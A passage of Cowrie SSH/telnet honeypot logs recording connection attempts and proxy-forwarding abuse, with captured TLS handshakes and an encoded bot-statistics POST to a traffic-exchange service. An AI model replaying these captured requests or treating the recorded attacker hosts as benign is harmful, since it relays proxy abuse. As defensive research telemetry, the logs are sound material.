\\x87E\\xd4\\xf4\\xcf&\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J\\xb4\\xbd\\x03\\xbe\\xf9\\xa4\\xf8\\xb3\\x9d\\xb5\\xb0\\xc0\\xd4\\x81\\xf2\\xe8\\r\\xed\\x90\\x8e\\xa6\\xef[\\x86\\x90S\\x98\\xfd\\x19_\\xa3 :Y0\\xd6\\xb5{\\xc9+NM#I\\xcb\\x01\\xb5\\x86_\\xff\\xd0\\xe0\\xe4\\xa2\\x1f|08\\xb3\\x0e\\x91\\xf2\\xd8\\x94\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 _p2\\x048\\xd6\\xa0\\x93ce\\xa4\\tA96\\xa6\\xa38\\xe9/\\xc3\\xdd\\xcf\\x87\\xe5 \\x87E\\xd4\\xf4\\xcf&\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:55.144575Z","src_ip":"123.27.168.40","session":"747dcdc6f140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51146,"dst_ip":"159.203.135.109","dst_port":23,"session":"24242fbde273","protocol":"telnet","message":"New connection: 128.199.8.54:51146 (159.203.135.109:23) [session: 24242fbde273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:55.303645Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":54912,"dst_ip":"10.17.0.5","dst_port":23,"session":"33948f9def22","protocol":"telnet","message":"New connection: 94.23.66.112:54912 (10.17.0.5:23) [session: 33948f9def22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:55.435154Z"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:55.748400Z","src_ip":"123.27.168.40","session":"747dcdc6f140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51948,"dst_ip":"159.203.135.109","dst_port":23,"session":"011450a2e384","protocol":"telnet","message":"New connection: 128.199.8.54:51948 (159.203.135.109:23) [session: 011450a2e384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:56.731248Z"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:59.525847Z","src_ip":"123.27.168.40","session":"420569293576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53048,"dst_ip":"159.203.135.109","dst_port":23,"session":"612b9ddb3abb","protocol":"telnet","message":"New connection: 128.199.8.54:53048 (159.203.135.109:23) [session: 612b9ddb3abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:59.728918Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:00.783023Z","session":"db5904104b44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:00.817807Z","src_ip":"173.208.188.210","session":"db5904104b44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=M3heX3dxJGk%2Bfkg4UW0hTw%3D%3D6yzfrpgaKk4DtZKSwaXT2efrCH%2FOnNaaNNpN8K6cN7Q%2BnjVwWpKYhNrb5v%2FirG3PQBiyRgN0815lDhXGTYA0TbF88goKfBzAiv%2FKIdRgWDgBCa7USXGCBGWIauMqHG%2F0ZHE0ivPdILUS7g0EP2FaaITPK21vqvG5rdMy00upV5HCLTtbz%2BZUIOSQu7kj%2BA9mTML6Lc%2FRTHHw4jBWljx4RI0g54gnexZl2rBzr1iswE%2FNiSuhc2GzKFKzzMeAl1G79FE9%2FD9oKJG%2Bn4Lc62hUD5zpGCV%2FxQqndxbbzqFKfpgzhirphS708ixP%2F8JLXq2o7BeN2oMS4LM%2B9vbaVC%2B0CWNoj0W5PI%2BSoT1YJZo%2F4wtdOPwTRbCyMYnPqfsVRdiT9pOLXLRDAn4qjKGPMHlP4Sv6djVXICxuX2tDy0euoDkiMQUFdLlC0%2FjtOZAMfCzDjEtpTqU4DzXNQL%2B9srlfjCxvu6ZYjFAfFyVfneCgtjQgfjIp5MaxJfDGfIrnhy12mn9IxyNHNL5L4%2B296nywKCijAwPznTcPsd7dx3aQvZTg1LPFBbaPTdrsQ8YK6w30%2FOkHApLlKq7UlSzhPhTK7XqS13puHZBm4mUpXBJX%2FsAI4L832k98U%2BYOk4w3FEF%2B4yP%2BnZmqVOmBTz77enyrDTCOlQIGUuM7TQv4%2B4Bs36%2BSuzEzM6HjaUFoYs89Cn1M3bXSORCd4cOFn%2BYaZTmLlvgvmyW%2Ba2LNHqzIZb8RDrI9O4kun7J50sn%2BlbhvJ4XJKj9OSCiWuNPteb6arC%2Buhc4YNpTE5rJn3bZAVoE9R%2FInmR7DM8I4Fm%2BmDRM7D52MbB0O4MB%2BFU6BkFbZt5X28caEM4P3QBU9u3dQ8nkGB1Eyff3OIfqoHhXS3kqfzssOW3Dh%2B20HV90v%2F9NVCRAAeKMarUwdtNnKC9vRH%2FUXRmnQ5nCxKhGLOFNg18lb8XyyszlJSWjhoklJcQmLVNe588mXoRlf%2F5lJ8bVXoPMIRAoImjQdDqRvgn3pvSObos7NAGLbt5g0b02q9%2Fej4urH5aYhy6gDY2h8HTG%2FZSuxsf0%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=M3heX3dxJGk%2Bfkg4UW0hTw%3D%3D6yzfrpgaKk4DtZKSwaXT2efrCH%2FOnNaaNNpN8K6cN7Q%2BnjVwWpKYhNrb5v%2FirG3PQBiyRgN0815lDhXGTYA0TbF88goKfBzAiv%2FKIdRgWDgBCa7USXGCBGWIauMqHG%2F0ZHE0ivPdILUS7g0EP2FaaITPK21vqvG5rdMy00upV5HCLTtbz%2BZUIOSQu7kj%2BA9mTML6Lc%2FRTHHw4jBWljx4RI0g54gnexZl2rBzr1iswE%2FNiSuhc2GzKFKzzMeAl1G79FE9%2FD9oKJG%2Bn4Lc62hUD5zpGCV%2FxQqndxbbzqFKfpgzhirphS708ixP%2F8JLXq2o7BeN2oMS4LM%2B9vbaVC%2B0CWNoj0W5PI%2BSoT1YJZo%2F4wtdOPwTRbCyMYnPqfsVRdiT9pOLXLRDAn4qjKGPMHlP4Sv6djVXICxuX2tDy0euoDkiMQUFdLlC0%2FjtOZAMfCzDjEtpTqU4DzXNQL%2B9srlfjCxvu6ZYjFAfFyVfneCgtjQgfjIp5MaxJfDGfIrnhy12mn9IxyNHNL5L4%2B296nywKCijAwPznTcPsd7dx3aQvZTg1LPFBbaPTdrsQ8YK6w30%2FOkHApLlKq7UlSzhPhTK7XqS13puHZBm4mUpXBJX%2FsAI4L832k98U%2BYOk4w3FEF%2B4yP%2BnZmqVOmBTz77enyrDTCOlQIGUuM7TQv4%2B4Bs36%2BSuzEzM6HjaUFoYs89Cn1M3bXSORCd4cOFn%2BYaZTmLlvgvmyW%2Ba2LNHqzIZb8RDrI9O4kun7J50sn%2BlbhvJ4XJKj9OSCiWuNPteb6arC%2Buhc4YNpTE5rJn3bZAVoE9R%2FInmR7DM8I4Fm%2BmDRM7D52MbB0O4MB%2BFU6BkFbZt5X28caEM4P3QBU9u3dQ8nkGB1Eyff3OIfqoHhXS3kqfzssOW3Dh%2B20HV90v%2F9NVCRAAeKMarUwdtNnKC9vRH%2FUXRmnQ5nCxKhGLOFNg18lb8XyyszlJSWjhoklJcQmLVNe588mXoRlf%2F5lJ8bVXoPMIRAoImjQdDqRvgn3pvSObos7NAGLbt5g0b02q9%2Fej4urH5aYhy6gDY2h8HTG%2FZSuxsf0%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:00.820995Z","src_ip":"173.208.188.210","session":"db5904104b44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:03.070759Z","session":"db5904104b44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:03.106453Z","src_ip":"173.208.188.210","session":"db5904104b44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03%-ldb\\xd0qRu.\\x03\\x12\\xea\\x01r7\\x8f\\x8cFc<\\xe2\"\\x81\\x9a\\x02\\xfej\\xebc#\\x8b 8\\xb63:\\x01n\\n\\xdd\\x12\\xd6\\x8d\\xe4)9\\x9e3j\\x08\\t\\x04B\\x8fVc\\xc4?E\\x0fvd\\xd6\\xbc\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 d.:\\x81+|\\x9c\\\\\\xbbvx\\xe2\\xfd\\x93g\\xfe\\xa6\\xa1r\\xc6\\xc5eV/X-=\\x05@\\x9fF\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03%-ldb\\xd0qRu.\\x03\\x12\\xea\\x01r7\\x8f\\x8cFc<\\xe2\"\\x81\\x9a\\x02\\xfej\\xebc#\\x8b 8\\xb63:\\x01n\\n\\xdd\\x12\\xd6\\x8d\\xe4)9\\x9e3j\\x08\\t\\x04B\\x8fVc\\xc4?E\\x0fvd\\xd6\\xbc\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 d.:\\x81+|\\x9c\\\\\\xbbvx\\xe2\\xfd\\x93g\\xfe\\xa6\\xa1r\\xc6\\xc5eV/X-=\\x05@\\x9fF\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:03.109642Z","src_ip":"173.208.188.210","session":"db5904104b44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:03.149534Z","session":"db5904104b44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:03.183383Z","src_ip":"173.208.188.210","session":"db5904104b44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x03\\xae\\xd5\\x87\\x00\\xdf\\x0e{&~\\x08\\x840\\x03\\xedO\\x88Y\\xd3\\xa0\\x03\\xf1\\xc3\\x05?\\x18u\\xd9\\xe3\\xfc\\xaa\\t \\xab\\x17\\xd0\\x8c\\xa4\\'\\xbe\\x1c\\x8a\\xe6 -\\x8a\\xfe\\xb9\\x9f\\xc1\\xf0\\x9d\\xfe\\xf9\\xc6l:\\x0e=\\xa2\\xbcr\\x15]I\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd2\\xb0\\'\\xf5\\x16\\xac\\xa5\\x9eS\\xaf\\xe5W\\xf0\\x0b\\xbaBkXO\\xe85\\x8b\\x84Jl\\x04^I\\xaf\\xd7\\xa8;\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x03\\xae\\xd5\\x87\\x00\\xdf\\x0e{&~\\x08\\x840\\x03\\xedO\\x88Y\\xd3\\xa0\\x03\\xf1\\xc3\\x05?\\x18u\\xd9\\xe3\\xfc\\xaa\\t \\xab\\x17\\xd0\\x8c\\xa4\\'\\xbe\\x1c\\x8a\\xe6 